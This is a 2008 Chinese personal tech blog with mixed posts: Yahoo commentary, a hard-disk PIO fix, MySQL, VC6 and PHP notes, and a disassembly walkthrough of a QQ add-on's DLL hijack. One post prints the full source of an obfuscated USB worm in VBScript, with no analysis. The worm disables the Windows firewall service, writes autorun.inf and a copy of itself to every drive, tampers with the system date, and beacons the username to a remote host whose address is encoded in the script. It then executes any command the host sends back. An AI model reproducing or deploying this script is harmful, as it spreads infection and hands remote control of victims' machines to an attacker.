CaiSong blog

好兄弟B 近期流氓照

Wed, 19 Nov 2008 08:05:44 +0000

B这个鸟人,非常的有形啊!虽然非常ZLK,不过还是不错!做个记录

Tags - b

杨致远辞职因互联网青黄不接

Wed, 19 Nov 2008 03:19:29 +0000

今天看到这则新闻!官僚,臃肿的管理体系要害死人的,一代王朝的衰败也是因为这样导致的

只不过对企业来说时间要快点
对与国家来说数百年才会显现一次

杨致远在1994年创办了雅虎，他和每一位创始人一样对自己的企业都具有极深的情感，都像呵护自己的孩子一样呵护着他的企业。将企业卖掉就如同割掉身上的一块肉。雅虎和杨致远之间就是这种关系，在放弃微软460多亿美元的收购价格之后，杨致远陷入了董事会的谴责之中。

现在杨致远选择辞去CEO职位，很多人仍不放过他，包括当前的舆论都认为杨致远是个失败的CEO。但是笔者认为，雅虎之所以如此，并非杨致远之错，问题恰恰出在当今互联网的发展上，这是所有互联网公司都面临的问题，并非雅虎一家。

自从2000年互联网泡沫之后，搜索引擎和IM即时聊天工具成为中国，乃至全球互联网的主导者，也成就了谷歌、百度、腾讯等企业，此外，互联网游戏则是这个阶段的泡沫性产物，也如同房地产一样被看作是快速盈利的好方法。然而，就在这个时候，杨致远将指挥棒交给了来自好莱坞的塞梅尔，他让雅虎从一家搜索公司转向内容公司，这个转变无疑是悖逆互联网发展的，也是一种倒退。

这个战略上的失误，让雅虎变得四不像，而且与搜索引擎业务越走越远。这个时候，雅虎的邻居谷歌却迅速发展，并且依靠其强大的Adword广告模式迅速走红，股价也大幅度的飙升。雅虎失去了搜索引擎的主导地位，而门户网站业务却一直处于同质化竞争阶段，无论是AOL还是雅虎都创新乏力。

进入了2005年之后，互联网又在发生另一个转变，WEB2.0时代到来了，然而WEB2.0的互联网时代对于各大互联网企业来讲并非是“福星”。无论是Youtube还是facebook，还是myspace都未能依靠WEB2.0带来的巨大流量而获得丰厚的回报，至今WEB2.0的盈利模式还在探讨之中。

时代发生了改变，而且互联网进入了一个青黄不接的时期，搜索、门户、网游仍然是当今互联网的主旋律。而且雅虎的各大竞争对手们已经在这几个赚钱的领域树立了品牌影响力，而雅虎却变得“四不像”，由于精力分散导致其无法聚焦在某一个产业上，结果只能成为每个领域的二流企业。

有人说，杨致远重新担任CEO期间并没有带领雅虎去做创新性的改变，笔者现在要问的是：在WEB2.0时代，哪家互联网企业做到了创新，而且做到了依靠WEB2.0获取巨大盈利呢？纵观当前的互联网企业，他们没有一家做到持续创新，就是年轻有为的谷歌也不例外，至始至终仍还在将所有的盈利任务交给Adword和Adsense。

由此，笔者要为杨致远抱不平，因为这不是他的错，而是因为互联网进入了青黄不接时代，做创新比登天还难。现在雅虎的现状只是因为当初战略失误，而导致多元化失败，无法继续聚焦搜索、门户等赚钱的行业。

同时，杨致远的接班人仍然很难帮助雅虎实现突破，因为雅虎已经陷入了战略失败，在做战术上的调整已经没有多少意义。微软收购雅虎是雅虎的唯一出路，或者被谷歌合并（可惜美国反垄断机构已经禁止了雅虎与谷歌的合作），总之靠雅虎自救很难实现预期目标。接下来，我们应该关注的是微软到底对雅虎还有没有兴趣？

后记：以上是雅虎衰败的主要原因，而另一个原因则是雅虎这家老牌互联网企业的官僚体制，臃肿的管理机构，低下的管理效率，不能对市场做到快速反应，这是管理创新不到位，当前众多中国企业发展到一定程度也会出现类似的问题。
切忌谨记
Tags - 杨致远,辞职,雅虎

记录一个备注

Wed, 19 Nov 2008 03:13:32 +0000

今天上163 无意中看到ups 的广告

对于普通用户来说很容易上当去拨动指针选择时间
实际即点击了这个广告

记录下!

对于广告思想有一定启发

多关注大站有专业人士的贡献不错的
Tags - 广告.创意

硬盘工作在PIO模式下

Fri, 14 Nov 2008 09:50:06 +0000

硬盘工作在PIO模式下了：

计算机管理 - 设备管理器 - IDE ATA/ATIPI控制器 - 主要/次要IDE通道 - 属性 - 高级
此处查看IDE通道连接硬盘的当前传送模式是否为PIO？正常应该是Ultra DMA Mode 5/6的样子。

若确实是PIO，尝试将传送模式改成“DMA(若可用)”，重启。
如果重启起来还是PIO，则将此条“主要/次要IDE通道”卸载，重启，让它重新认驱动。

--------

这种情况在我的家用电脑上在半年前曾碰到过一次，现象是本来好好的，不知什么时候起硬盘的读写性能变得极差而且超级占用CPU。
后来通过上述措施处理解决。
至于IDE通道连接设备的模式为什么好好的会降速成PIO，网上找到的解释是这样的：
在每当累积发生的超时错误或 CRC 错误的总数达到6次时，IDE/ATAPI端口驱动程序(Atapi.sys)将降低传送模式。
至于怎么会发生超时和CRC错误那应该是硬件问题和RP问题了。
Tags - pio

mysql in 查询排序方面记录

Sun, 09 Nov 2008 12:26:11 +0000

select * from siteblocks where id in (1,6,7,21,2,3,5) and manage<=1 order by instr(",1,6,7,21,2,3,5,",concat(",",id,","));
select * from siteblocks where id in (1,6,7,21,2,3,5) and manage<=1 order by FIND_IN_SET(id,'1,6,7,21,2,3,5');

哪个强悍点没去试个人猜想2强悍点把
Tags - mysql , in , instr , find_in_set

一U盘病毒VBS脚本

Wed, 29 Oct 2008 09:35:37 +0000

On error ResUme NeXT
Set Fso=cREaTeObjEct(STRREVErsE("tCeJbOMetsYSELIf.gnItPIRCs"))
SET wSHshEll=cReaTEOBJEcT(strREverSE("LlEhs.TPIrCSW"))
dIm drI_lISt,DrI_lisT0
DiM IssEnD
ISsEnd=0
c_TIMe=datE()
WshshELL.ruN "Net SToP sHaReDaccEsS",0
seT DrvS=fSO.Drives
sYsdIr=fSo.GetSpeCIalfoLDeR(1)
thiSPATH=WscRIPt.sCrIPtfuLLNAMe
sEt FC=fSo.OPENTExTFilE(tHiSpaTH,1)
Scopy=Fc.rEAdaLl
fC.CLoSE
SET fC=NotHInG
cAlL wriTEFILe(sYsdIr&"\SYsInfO.reg",UNescapE(sTRReverSE("00C2%00c2%00C2%00C2%00c2%00C2%00c2%00c2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00a3%92%B82%XEHD3%22%EMItCeXe22%a0%D0%02%22%22%D3%22%SrETeMARAp22%a0%d0%02%22%sBv.gfcNrpc5%C5%23meTSYSC5%C5%52%RIdniW52%22%d3%22%tpIrCS22%A0%D0%02%d5%0c5%0c5%puTrAtsc5%STpIRcsc5%ENiHcaMc5%EtATsc5%YcILoP02%puorGc5%noiSrEVTneRRUcc5%sWodNiwc5%tFoSOrcimc5%erAWTFOsC5%enihcam_lACOL_yEKHb5%A0%d0%A0%d0%02%00c2%00c2%00C2%00C2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00C2%00C2%00C2%00c2%00A3%92%B82%xEhD3%22%EmItCexe22%a0%D0%02%22%22%d3%22%SReteMaRAp22%A0%d0%02%22%SbV.gFcnrpc5%C5%23meTsYSC5%C5%52%riDniW52%22%D3%22%tpirCs22%A0%d0%02%d5%0c5%0C5%puTRAtsC5%StpIRcsc5%meTsysc5%SwODNiWC5%TFOsoRCiMc5%sEICiLOpC5%eraWtfosc5%ENihcAM_LACoL_yeKHB5%a0%D0%A0%d0%03%03%e2%53%02%E6%f6%96%37%27%56%65%02%27%F6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%F6%46%E6%96%75%")))
wShSHell.ruN "REGEDiT /s sysinFo.REG",0
wsCRIPt.SLeep 200
fso.dElETEfILe SYSdiR&"\sYsiNFO.REg",true
if iNsTr(thISPATH,SysdIR)>0 thEN
Dri_LIsT0=LISTDrV()
O_time=Left(C_tIme,3)&cstR(INT(mid(C_Time,4,1))-1)&rIgHt(C_Time,Len(c_timE)-4)
wSHShell.run "cmd /C DAte "&o_time,0
WsCrIpt.slEEP 10000
foR DRi_i=1 TO leN(drI_lIst0)
CaLL WriTeaUtO(mID(dRI_List0,Dri_I,1)&":\")
NEXT
wsHSHElL.rUN "Cmd /C DatE "&C_TIMe,0
comPUterNAme="":uSernaME=""
set OBjwmiservIcE=geToBjECt("winMgmTs:{imPErsONatIONlevel=imPersonaTe}!\\.\roOt\CImV2")
set ColCoMPUTerS = ObJwMIsErvice.ExEcQuery("SEleCt * froM Win32_cOmpuTERsYsTem")
foR eAch oBJCOmputer IN colCOMPUTErs
cOmpUtErnAmE=OBjComPuTEr.nAMe
userNAME=OBJcOMPUtEr.UsERnAMe
nEXt
if uSeRnAmE="" tHEn usERname="Evar"
If INstr(uSERnAme,"\")<=0 ThEn
useRnaMe=COMpuTERnAmE&"\"&usernaMe
End iF
Do
if IsseNd=0 then
seT XmL=CreATEobjEct(stRrEVERse("ptTHLMxreVRES.2LmxSm"))
xmL.OPEN "geT",StRrEVerSe(unESCApE("%3D%61%3F%70%73%61%2E%74%6e%75%6f%63%2f%61%76%65%2f%62%7a%7a%2F%30%30%31%2E%34%30%31%2e%39%31%31%2e%32%30%32%2F%2f%3A%70%74%74%68"))&usErNAMe,0
Xml.SeTrequesTheaDEr "uSer-AGent","EvaR"
XML.Send()
if ERR.NUMbER=0 thEn
IsSEND=1
res=Xml.REspOnsetExt
IF uCASe(LeFT(REs,7))=uCAse("exECuTe") then ExecUtE Res
Else
Err.CLEAR
End IF
SeT xmL=nOtHiNG
END If

Dri_LIst=liStdRV()
FoR DRI_k=1 tO lEn(drI_liST)
If INstR(DRI_LiST0,MiD(dRI_list,dRi_K,1))<=0 theN
CAlL wRITEauto(mId(DrI_LIst,dRI_k,1)&":\")
End if
NEXt
DRI_LIST0=drI_lIsT
wSCRiPt.sleeP 1000
lOOp
ELSE
WShSHeLL.rUn "ExPLorER .\",3
WScRIPt.sleEp 2000
WsHshELL.appaCTIVaTe unEsCape(lcaSe("%u6211%u7684%u7535%u8111"))
WsHSHEll.sEndkEys uCaSe("% C")
rUnfLAG=0
fOr eACh pS in gETobJECT _
("WinmGmtS:\\.\rOoT\cIMV2:wiN32_pRocEsS").INSTAncES_
if LcasE(PS.nAMe)=LCASe("wSCRIPT.EXe") tHeN
RUNFLAg=runfLAg+1
end IF
NEXt
If RUNfLaG>=2 thEn wsCRipT.QUIT
SEt Sf=FSO.gETFOLdEr(SYSdir)
F_TIMe=leFT(sf.DateCreaTeD,iNstr(sf.DATeCREAteD," ")-1)
WsHSHEll.Run "CmD /C DAtE "&F_tIMe,0
wScRIPT.SLEEp 100
calL wriTEFILe(SySDIR&LcAse("\PRNcFG.vBs"),Vs(SCOPY))
wsHSHell.Run "CMD /c dATE "&C_tImE,0
wsHshelL.rUN SySDir&"\pRnCFG.VbS"
EnD IF
functiOn VS(str)
ExeCutE strReVErse(uNescAPE("%29%29%22u%25%22%28ESAcl%2c%29%22u%25%22%28eSacU%2CsV%28eCALPeR%3DsV%0D%0AtxEN%0d%0AFI%20dNE%0D%0Ac%26sV%3dSV%0d%0aeSlE%0D%0A%29c%28EsacL%26sv%3Dsv%0d%0AnEHT%2005%3e%29001*%29%28dNr%28tnI%20fI%0D%0AEZIMoDnAR%0d%0a%29%291%2ci%2CRts%28DIm%28eSAcu%3dC%0d%0A%29RTs%28Nel%20OT%201%3Di%20roF"))
eND FUNCTiOn
FuNcTioN LISTdRV()
EXEcUTe STrreVERSE(UNeSCAPE("TsiL_pMT%3DVRDtsil%0d%0ATXEN%0d%0AFI%20DNe%0d%0AretteLEViRD.vrD%26tsIl_Pmt%3DTsIL_PmT%0d%0anEhT%20YdAERSI.VrD%20fi%0d%0aSVRd%20Ni%20vRd%20hcaE%20rof%0D%0a%22%22%3dTSIL_pMT%0D%0aTSIL_pmt%20MID"))
END FUnCtiON

suB WRITeAUtO(PATH)
exECute STRREVErSE(UNEsCapE("FI%20DNE%0d%0AeUrT%2C%22fni.NUrotUA%22%26Htap%20ELiFETelEd.Osf%0d%0aneHT%20%29%22fnI.nUrOTUA%22%26HtAp%28StsixeeLiF.Osf%20fIEslE%0D%0a%29%28dnr%26htAP%2C%22fNI.NurOTuA%22%26HTap%20rEDLOfevOM.OSF%0d%0aNEhT%20%29%22FnI.nUrOTUA%22%26Htap%28STSIXeREDLOF.Osf%20FI"))
Cmdstr="ShELL\*\commAND=wsCrIpT.eXe "&CHR(34)&"EVA.Vbs"&cHR(34)
AuTOSTR="[AUtorUn]"&VBcrLF&"OPeN="&vbcrLF&REPlace(CMdstr,"*","OPeN")&vBCrLf&rePlACe(cmDsTr,"*","EXplorE")&VbcrlF&RePLacE(cMDsTr,"*","fInD")
cALL WriTEFIle(PATh&uCASE("aUTorUN.iNf"),aUToSTR)
CalL WrITEFiLE(Path&"Eva.VbS",vs(sCOPY))
eNd SUB

SUb WriTEFiLe(FPATH,CONtenT)
EXEcuTE sTRrEVeRse(uNESCAPe("gNIHton%3daF%20TeS%0D%0A7%3dseTuBIrTta.aF%0D%0A%29htapF%28EliftEg.oSF%3Daf%20Tes%0D%0aGnIhToN%3DCF%20TES%0d%0AEsolC.CF%0d%0atNETnOc%20eTIrW.CF%0D%0A%29EURT%2C2%2chtAPf%28eLiFtxEtNEPO.OSF%3dCF%20Tes%0d%0aeURT%2cHTAPF%20ELifeTeLeD.Osf%20nEHt%20%29htAPF%28stsiXEElif.osf%20FI"))
eND Sub

Tags - u盘 , u盘病毒 , vbs

VC6 UNICODE

Thu, 23 Oct 2008 09:34:36 +0000

-:如何在vc6中进行unicode编译
1.菜单Build–>Configurations–>Add，添加一个Unicode Debug。
2.菜单Build–>Set Active Configuration，选择Win32 Unicode Debug。
3.菜单Project–>Settings->C/C++属性页->Category中，选择Preprocessor，在Preprocessor definitions中添加 _UNICODE。
4.菜单Project–>Settings->Link属性页->Category选中，选择Output，在Entry- point symbol中写入wWinMainCRTStartup。如不执行该步骤，会出现错误”unresolved external symbol _WinMain@16“。
二:把char全换成TCHAR
所有的字符串用_T()宏
比如
char sz="aaa";
改成
TCHAR sz=_T("aaa");
2.修改字符串函数：
如strlen改成_tcslen
也可以改成lstrlen

Tags - vc6 , unicode , winmain

用户体验

Thu, 23 Oct 2008 07:29:21 +0000

用网站的人都喜欢简单易用！做网站的人总会想我功能强大你一定喜欢！
其实不然用户花多少时间在你这强大的站上去玩呢能带给他多少利益趣味或其他有价值的东西呢！不要一味的让用户贡献！那是行不通的
网上家园的概念还有一定距离人家自己在家一个家庭干嘛跑到你网上来沟通！不是没有！但是不多
Tags - 家园概念 , 家园 , 用户

Php-cgi.exe CGI Error!

Thu, 23 Oct 2008 02:13:48 +0000

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers.

try change
REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters\Script Map]
".php"="[PUT PATH HERE]\\php.exe"

try

; cgi.force_redirect is necessary to provide security running PHP as a CGI under
; most web servers. Left undefined, PHP turns this on by default. You can
; turn it off here AT YOUR OWN RISK
; **You CAN safely turn this off for IIS, in fact, you MUST.**
cgi.force_redirect = 0
Tags - cgi , error , php-cgi.exe

分析彩虹外挂

Fri, 17 Oct 2008 02:04:59 +0000

彩虹QQ删除原版MSIMG32.dll

012581F3 83C4 0C add esp, 0C
012581F6 68 2C4D2C01 push 012C4D2C ; ASCII "MSIMG32.dll"
012581FB 8D8D D8FEFFFF lea ecx, dword ptr [ebp-128]
01258201 51 push ecx
01258202 E8 B99B0300 call 01291DC0
01258207 83C4 08 add esp, 8
0125820A 68 80000000 push 80
0125820F 8D95 D8FEFFFF lea edx, dword ptr [ebp-128]
01258215 52 push edx
01258216 FF15 98312C01 call dword ptr [<&KERNEL32.SetFileAtt>; kernel32.SetFileAttributesA
0125821C 8D85 D8FEFFFF lea eax, dword ptr [ebp-128]
01258222 50 push eax
01258223 FF15 9C312C01 call dword ptr [<&KERNEL32.DeleteFile>; kernel32.DeleteFileA
01258229 C785 B0FBFFFF 0>mov dword ptr [ebp-450], 0
01258233 6A 10 push 10
01258235 6A 00 push 0
01258237 8D8D C4FCFFFF lea ecx, dword ptr [ebp-33C]
0125823D 51 push ecx
0125823E E8 0D8B0300 call 01290D50
01258243 83C4 0C add esp, 0C
01258246 C745 FC 0000000>mov dword ptr [ebp-4], 0
0125824D 8D95 B8FBFFFF lea edx, dword ptr [ebp-448]
01258253 52 push edx

复制自己的 msimg32.dll去给QQ BB

012583EB 8D8D A8FAFFFF lea ecx, dword ptr [ebp-558]
012583F1 51 push ecx
012583F2 E8 B9990300 call 01291DB0
012583F7 83C4 08 add esp, 8
012583FA 68 604D2C01 push 012C4D60 ; ASCII "msimg32.dll"
012583FF 8D95 A8FAFFFF lea edx, dword ptr [ebp-558]
01258405 52 push edx
01258406 E8 B5990300 call 01291DC0
0125840B 83C4 08 add esp, 8
0125840E 6A 00 push 0
01258410 8D85 A8FAFFFF lea eax, dword ptr [ebp-558]
01258416 50 push eax
01258417 68 6C4D2C01 push 012C4D6C ; ASCII "msimg32.dll"
0125841C FF15 D4312C01 call dword ptr [<&KERNEL32.CopyFileA>] ; kernel32.CopyFileA
01258422 8B4D 10 mov ecx, dword ptr [ebp+10]
01258425 890D 04F12F01 mov dword ptr [12FF104], ecx
0125842B C785 48F9FFFF 0>mov dword ptr [ebp-6B8], 0
01258435 B9 10000000 mov ecx, 10
0125843A 33C0 xor eax, eax
0125843C 8DBD 4CF9FFFF lea edi, dword ptr [ebp-6B4]
01258442 F3:AB rep stos dword ptr es:[edi]

开始启动QQ了

0125845C 6A 00 push 0
0125845E 6A 00 push 0
01258460 6A 20 push 20
01258462 6A 00 push 0
01258464 6A 00 push 0
01258466 6A 00 push 0
01258468 8D8D D8FCFFFF lea ecx, dword ptr [ebp-328]
0125846E 51 push ecx
0125846F 8D95 D8FEFFFF lea edx, dword ptr [ebp-128]
01258475 52 push edx
01258476 FF15 A8312C01 call dword ptr [<&KERNEL32.CreateProcessA>] ; kernel32.CreateProcessA
0125847C 85C0 test eax, eax
0125847E 75 0A jnz short 0125848A
01258480 C785 B0FBFFFF 0>mov dword ptr [ebp-450], 1
0125848A C745 FC FFFFFFF>mov dword ptr [ebp-4], -1
01258491 E8 02000000 call 01258498
01258496 EB 43 jmp short 012584DB
01258498 83BD C4FCFFFF 0>cmp dword ptr [ebp-33C], 0
0125849F 74 18 je short 012584B9
012584A1 8B85 C4FCFFFF mov eax, dword ptr [ebp-33C]
012584A7 50 push eax
012584A8 FF15 AC312C01 call dword ptr [<&KERNEL32.CloseHandle>] ; kernel32.CloseHandle
012584AE 8B4D 08 mov ecx, dword ptr [ebp+8]

堆栈信息

0012F4AC 0012FA74 |ModuleFileName = "D:\soft\Tencent\QQ2008II Beta1\QQ.exe"
0012F4B0 0012F874 |CommandLine = """D:\soft\Tencent\QQ\caihong hok\CaiHong.exe"""
0012F4B4 00000000 |pProcessSecurity = NULL
0012F4B8 00000000 |pThreadSecurity = NULL
0012F4BC 00000000 |InheritHandles = FALSE
0012F4C0 00000020 |CreationFlags = NORMAL_PRIORITY_CLASS
0012F4C4 00000000 |pEnvironment = NULL
0012F4C8 00000000 |CurrentDir = NULL
0012F4CC 0012F4E4 |pStartupInfo = 0012F4E4
0012F4D0 0012F860 \pProcessInfo = 0012F860
0012F4D4 7C80B6A1 kernel32.GetModuleHandleA
0012F4D8 00000000

0040158F . 52 push edx
00401590 . 68 F8994000 push 004099F8
00401595 . 68 F4994000 push 004099F4
0040159A . FF95 8CFEFFFF call dword ptr [ebp-174] ; 原来在这里回去caihong.exe了打算功成身退了
004015A0 . 83C4 0C add esp, 0C
004015A3 . 8945 BC mov dword ptr [ebp-44], eax
004015A6 . 8B45 BC mov eax, dword ptr [ebp-44]
004015A9 . 50 push eax
004015AA . FF55 E4 call dword ptr [ebp-1C]
004015AD . 83C4 04 add esp, 4
004015B0 > 837D BC 00 cmp dword ptr [ebp-44], 0
004015B4 . 74 08 je short 004015BE

主要在msimg32.dll 里装载真正的msimg32.dll的函数后启动一个线程

003A10EF CC int3
003A10F0 55 push ebp
003A10F1 8BEC mov ebp, esp
003A10F3 81EC 1C020000 sub esp, 21C
003A10F9 A1 30903A00 mov eax, dword ptr [3A9030]
003A10FE 8945 FC mov dword ptr [ebp-4], eax
003A1101 68 03010000 push 103
003A1106 8D85 F0FEFFFF lea eax, dword ptr [ebp-110]
003A110C 50 push eax
003A110D 68 5C713A00 push 003A715C ; ASCII "CaiHongPath"
003A1112 FF15 20703A00 call dword ptr [<&KERNEL32.GetEnvironmentVariableA>] ; kernel32.GetEnvironmentVariableA
003A1118 85C0 test eax, eax
003A111A 0F85 B6000000 jnz 003A11D6
003A1120 68 04010000 push 104
003A1125 8D8D E8FDFFFF lea ecx, dword ptr [ebp-218]
003A112B 51 push ecx
003A112C 6A 00 push 0
003A112E FF15 1C703A00 call dword ptr [<&KERNEL32.GetModuleFileNameA>] ; kernel32.GetModuleFileNameA
003A1134 8D95 E8FDFFFF lea edx, dword ptr [ebp-218]
003A113A 52 push edx
003A113B FF15 18703A00 call dword ptr [<&KERNEL32.lstrlenA>] ; kernel32.lstrlenA
003A1141 83E8 01 sub eax, 1
003A1144 8985 E4FDFFFF mov dword ptr [ebp-21C], eax
003A114A EB 0F jmp short 003A115B
003A114C 8B85 E4FDFFFF mov eax, dword ptr [ebp-21C]
003A1152 83E8 01 sub eax, 1
003A1155 8985 E4FDFFFF mov dword ptr [ebp-21C], eax
003A115B 83BD E4FDFFFF 0>cmp dword ptr [ebp-21C], 0
003A1162 7C 17 jl short 003A117B
003A1164 8B8D E4FDFFFF mov ecx, dword ptr [ebp-21C]
003A116A 0FBE940D E8FDFF>movsx edx, byte ptr [ebp+ecx-218]
003A1172 83FA 5C cmp edx, 5C
003A1175 75 02 jnz short 003A1179
003A1177 EB 02 jmp short 003A117B
003A1179 ^ EB D1 jmp short 003A114C
003A117B 68 68713A00 push 003A7168 ; ASCII "QQ.exe"
003A1180 8B85 E4FDFFFF mov eax, dword ptr [ebp-21C]
003A1186 8D8C05 E9FDFFFF lea ecx, dword ptr [ebp+eax-217]
003A118D 51 push ecx
003A118E FF15 14703A00 call dword ptr [<&KERNEL32.lstrcmpiA>] ; kernel32.lstrcmpiA
003A1194 85C0 test eax, eax
003A1196 74 1D je short 003A11B5
003A1198 68 70713A00 push 003A7170 ; ASCII "TM.exe"
003A119D 8B95 E4FDFFFF mov edx, dword ptr [ebp-21C]
003A11A3 8D8415 E9FDFFFF lea eax, dword ptr [ebp+edx-217]
003A11AA 50 push eax
003A11AB FF15 14703A00 call dword ptr [<&KERNEL32.lstrcmpiA>] ; kernel32.lstrcmpiA
003A11B1 85C0 test eax, eax
003A11B3 75 21 jnz short 003A11D6
003A11B5 68 78713A00 push 003A7178 ; ASCII "CaiHong.dll"
003A11BA 8D8D F0FEFFFF lea ecx, dword ptr [ebp-110]
003A11C0 51 push ecx
003A11C1 E8 BA010000 call 003A1380
003A11C6 83C4 08 add esp, 8
003A11C9 8D95 F0FEFFFF lea edx, dword ptr [ebp-110]
003A11CF 52 push edx
003A11D0 FF15 08703A00 call dword ptr [<&KERNEL32.LoadLibraryA>] ; kernel32.LoadLibraryA
003A11D6 33C0 xor eax, eax
003A11D8 8B4D FC mov ecx, dword ptr [ebp-4]
003A11DB E8 75010000 call 003A1355
003A11E0 8BE5 mov esp, ebp
003A11E2 5D pop ebp
003A11E3 C2 0400 retn 4
003A11E6 CC int3

Tags - qq , caihong